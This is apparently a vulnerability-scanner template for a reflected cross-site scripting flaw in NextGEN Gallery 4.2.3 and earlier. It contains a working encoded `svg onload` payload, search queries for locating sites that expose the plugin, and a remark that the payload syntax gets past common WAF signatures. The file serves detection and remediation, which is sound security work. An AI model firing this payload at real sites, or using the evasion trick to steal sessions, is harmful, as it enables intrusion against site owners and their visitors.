NextGEN Gallery <= 4.2.3 - Reflected Cross-Site Scripting

id: CVE-2026-28141

info:
  name: NextGEN Gallery <= 4.2.3 - Reflected Cross-Site Scripting
  author: str4k3r
  severity: high
  description: |
    NextGEN Gallery through 4.2.3 reflects a URL-decoded `ngg_tag` route value into the generated tag page without the context-specific escaping added in 4.2.4. An unauthenticated attacker can break out of the tag context and inject an auto-executing script. This template injects an `svg onload` payload carrying a random nonce and matches its unencoded reflection; slash and backtick syntax keep the request off common WAF signatures.
  impact: |
    An unauthenticated attacker can execute arbitrary JavaScript in a victim's browser when they open the crafted gallery-tag link, enabling session theft, credential capture, and actions performed as the victim.
  remediation: |
    Update NextGEN Gallery to version 4.2.4 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-28141
    - https://patchstack.com/database/wordpress/plugin/nextgen-gallery/vulnerability/wordpress-nextgen-gallery-plugin-4-2-3-cross-site-scripting-xss-vulnerability?_s_id=cve
    - https://wordpress.org/plugins/nextgen-gallery/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2026-28141
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: imagely
    product: nextgen-gallery
    framework: wordpress
    fofa-query: body="NextGEN Gallery"
    publicwww-query: "/wp-content/plugins/nextgen-gallery/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,nextgen-gallery,imagely,xss

variables:
  marker: "{{rand_base(6)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/ngg_tag/cve-2026-28141%22%3E%3Csvg%2Fonload%3Dalert%60{{marker}}%60%3E/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert`{{marker}}`>"
          - "NextGEN"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
# digest: 490a0046304402202bee1380fb5300266f1476018bf60cfb13d5ddddbe6b84d23a862e0fc096bd7402202b1c4d7553519271b67a8fc5b9643d49f976d31e290165727837aa22948dc0a2:922c64590222798bb761d5b6d8e72950